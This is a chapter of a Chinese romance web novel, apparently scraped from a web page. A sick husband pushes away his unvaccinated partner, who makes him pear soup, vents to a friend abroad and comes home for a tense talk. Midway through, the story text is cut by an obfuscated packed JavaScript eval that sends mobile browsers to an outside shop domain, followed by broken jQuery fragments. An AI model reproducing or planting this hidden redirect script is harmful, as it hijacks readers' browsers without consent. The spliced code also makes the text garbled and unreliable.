黎廷病了。
起初只是低烧与咳嗽，他照常在书房开完两场会，晚餐时才被纪灵看出不对。家庭医生连夜赶来，检查结果是当季正在北美流行的病毒性肺炎。好在发现得早，注射过抗病毒药物，烧暂时退了下来。
上午，卧室窗帘拉得很严，空气净化器安静地运转着。
黎廷靠在床头，脸色比平时苍白一些，鼻梁上仍架着眼镜。平板里的视讯会议已经结束，许风却没急着退出，隔着屏幕幸灾乐祸。
“我和艾瑞克替你顶几天，公司没事，你就在家好好反省一下，正直壮年抵抗力怎么差成这样。”
艾瑞克在旁边提醒：“高热后需要休息。”
“我这不是正让他休息吗？”许风的声音又响起来，“不过也可能跟工作无关，听说纵欲过度也影响免疫力，Nolan，你最近是不是……”
屏幕忽然黑了。
纪灵戴着口罩站在床边，手指还停在挂断键上，神色相当冷淡。
“探病时间结束。”
黎廷皱起眉：“不是让你别进来吗？”
纪灵朝门口看了一眼，又把目光转回来，眼神里的意思十分明白：那我走？
“……”
黎廷闭上眼，向后靠回枕头，不再说话。
纪灵在床边坐了一会儿。黎廷平日里很少露出这种疲态，眼尾被高热熬出一层薄红，唇色也淡。他看得心里不太舒服，抬手碰了碰他的额头。
掌心刚要贴上去，手腕便被握住。黎廷睁开眼，将他的手从自己额前拉开。
“别碰。”
嗓子烧得沙哑，语气也比平日更硬。
纪灵的手停在半空。
家庭医生前一晚就在门外的走廊低声嘱咐过管家。别墅里其他人都按统一安排注射过疫苗，只有纪灵因为凝血指标的问题一直没有接种。医生认为他一旦感染，治疗时的用药选择会比普通人麻烦，建议在黎廷度过传染期以前尽量避免接触。
那些话纪灵全听见了。
道理也不是不懂。
他看了黎廷两秒，把手收回去，顺便替他拉高一点被子。
“睡吧。”
这一次倒真起身走了。
关门声很轻。黎廷睁开眼望向门口，手指在被面上收了收，到底没有叫住他。
——
这一觉睡到傍晚。
黎廷醒来时，卧室里只亮着床头一盏小灯。烧没有反复，喉咙却像被砂纸磨过。他摸到手机，给纪灵发了一句“在哪”，等了片刻，屏幕始终安静。他又拨电话，同样没人接。
走廊里也没有熟悉的脚步声。
他披了件外套下床，刚打开房门，便看见佣人端着托盘从楼梯上来。白瓷碗里盛着颜色清亮的甜汤，热气裹着淡淡的梨香。
“先生，您醒了？”佣人连忙停下，“这是纪先生下午做的，说等您醒来以后喝一点，能润嗓子。”
黎廷看着那只碗，怀疑自己烧幻听了，说纪灵杀了人都比这可信。
佣人显然也知道这件事有多难得，忍着笑补充：“纪先生一开始把冰糖放多了，第二次又煮得太久。后来管家帮忙看着火，厨房里的人都尝过，最后这一份味道真的很好。”
“他人呢？”
“下午就出去了，没说去哪儿。”
黎廷轻咳两声，让人把甜汤送进卧室。
碗放到床头时还冒着热气。他再次拿起手机，拇指停在纪灵的号码上，最终先端起那碗梨汤。
甜度刚好。
梨肉炖得软，入口仍留着一点不太均匀的颗粒。与其说做得多好，不如说很像纪灵第一次耐着性子做这种东西会有的样子。
黎廷一口一口喝完，碗底一滴都没有剩下。
电话再拨过去，仍然无人接听。
——
此刻的临海正值上午十点。
赵鑫叼着一片面包坐进车里，刚准备去辖区派出所，手机便响了。来电显示横跨大半个地球，他接起来以后没给对面说话的机会。
“我以为你出了国就自动注销中国国籍了，中文还会不会讲？想不想你的祖国？想不想你的兄弟？”
纪灵靠着蓝绿色的296，听得笑起来。
“更想念祖国的烧烤。”
洛杉矶已经入夜。车停在半山公路的观景平台，眼前是层层叠叠的城市灯火。冬夜的风吹乱额发，纪灵一手插在外套口袋里，另一只手握着手机，影子被路灯拉得很长。
两人胡扯了一阵。赵鑫咬完最后一口面包，终于从那些没边的话里听出一点不对。
“你跟你家霸董吵架了？”
“没有。”纪灵低头踢开脚边一粒石子，“他病了。”
赵鑫等了一会儿：“然后？”
“不让我靠近。”
“……”
电话里安静两秒，赵鑫骂了一句：“就这点破事也值得你大半夜跑出去吹风？你们有钱人谈个恋爱都这么闲，我真想跟你们这些做精拼了。”
纪灵嗤笑：“谁谈恋爱了，证都领多久了。”
“那更完蛋，老夫老妻还搞内耗。”
纪灵被这句话堵得没出声。
他以前一个人惯了，遇到什么都能自己消化，从没有牵挂，也就没有所谓被冷落。现在不过被病号赶出一间卧室，竟然真让他半天都不痛快。
感情这东西确实影响人拔刀的速度。
“有道理。”纪灵懒洋洋地说，“我现在就回去把他杀了，免得耽误我的肆意人生。”
“你少放屁。”赵鑫发动汽车，语气倒认真起来，“为什么不让你靠近？”
纪灵望着远处的灯。
“我没打疫苗，这里的医生看见我的凝血报告都谨慎，黎廷又看了那份病毒风险说明，现在把我当易碎品处理。”
“那疫苗到底能不能打？”
“谁知道，几个医生说法都不一样。”纪灵抬手按了按被风吹乱的头发，“而且真想防，也早过了临时抱佛脚的时候。该住一间房的时候没少住，现在跟我搞隔离，纯属自我感动。”
赵鑫听出他是真不爽，没再笑。
“要不回来住几天，你想打什么，我让社区诊所给你来套全家桶，左胳膊一针右胳膊一针，打完直接飞升。”
纪灵终于又笑了。
“滚吧，忙你的。”
电话挂断，山上重新静下来。
纪灵靠着车门，没有立即回去。脚下整座城市亮得像一片倒置的星海，漂亮又安静。
以前一个人时，他从没觉得这种安静有什么不好。卧底那些年，更难熬的夜也不是没有过。他在陌生人的屋檐下睡过，在随时可能暴露的恐惧里熬过，从没觉得有什么事是他一个人应对不了的。
可黎廷拉开他的手，他竟然第一次觉得，真他妈没劲。
他低下头，看见无名指上的婚戒。
手指已经搭上戒圈，停了一会儿，到底没有往下摘。只是烦躁地转了半圈，又将手插回口袋。
不识好歹。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970258|213579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
——
家庭医生再次来到别墅时，已经接近晚上九点。
黎廷的体温稳定下来，肺部情况也没有继续发展。医生听过呼吸音，表示接下来只需按时服药、充分休息，传染性会随着症状减轻逐步下降。
说到最后，他主动提起纪灵。
“我重新跟血液科确认过。纪先生的情况并非绝对不能接种，只是注射后需要延长按压和观察时间。若您同意，可以安排在家里完成。”
黎廷坐在床边，很久没有说话。
那只空碗还留在桌上，纪灵始终没有回消息。
“安排吧。”他说。
医生应下，正准备离开，又听见一句：“明天最早什么时候？”
“上午九点。”
“就九点。”
管家送医生出门。黎廷换了一身干净的家居服，戴好口罩，独自在客厅等。
十点过后，院外终于亮起车灯。
蓝绿色跑车驶进车库。纪灵从外面回来，肩上还带着夜风的寒意。他一进客厅便看见沙发上的人，脚步略停，随后若无其事地笑了一下。
“还没睡？恢复得不错。”
黎廷站起来。
纪灵没等他靠近，已经转身上楼。经过主卧时也没有停，径直推开了走廊尽头的客房。房门尚未合拢，一只手从后面挡住。
黎廷跟了进来。
纪灵像没看见，自顾自脱下外套与上衣。上半身裸露在暖光下，肩背的肌肉随动作舒展。他从衣柜里取出一件家居服，刚要套上，黎廷伸手按住了衣料。
两人的手隔着柔软布料叠在一起。
纪灵抬眼看他，目光很淡。
“别生气。”黎廷说。
“我没生气。”
平常纪灵说这句话，后面多半还跟着一句阴阳怪气，今晚却什么也没有，只从他手底抽了抽衣服。
黎廷没放。
“索利斯医生明早过来，疫苗可以打，只需要多观察一段时间。”
“哦。”
纪灵又抽了一下，衣服仍被压着，他索性松开手，赤裸着上身转过去。
“说完了吗？我要洗澡。”
黎廷望着那件被他放弃的衣服，指节慢慢收紧。
“阿灵。”
“病号早点休息。”纪灵背对着他解皮带，语气客气得像在招待不熟的客人，“出去的时候帮我关门，谢谢。”
身后很久没有动静。
纪灵正准备回头，家居服忽然被展开，从后面披到他肩上。紧接着，黎廷连衣服带人一起抱进怀里。手臂从腰间收紧，脸埋在他颈后，呼吸滚烫。
纪灵没有挣，也没有回抱。只垂眼看了一下扣在自己腰间的手。
“黎董，”他语气平平，“现在又不怕传染了？”
黎廷没说话，胸腔却突然震了几下。压抑的咳嗽贴着后背传过来，一声比一声沉。纪灵立即转身，把人从自己身后拉开，手掌按在他肩上，直接将他摁到床边坐下。
黎廷咳得眼尾泛红，抬手想挡开他。纪灵先一步退开，拉过一把椅子坐到对面，中间隔着足够让病号满意的距离。
“行，不碰。”
那句话里的冷意终于露了出来。
房间安静了片刻。
纪灵把披在肩上的衣服拢好，手肘撑着膝盖。他本来有很多难听的话想说，真坐到这里，看见黎廷苍白的脸与烧红的眼睛，又觉得骂一个病号实在没劲。
“我们谈谈。”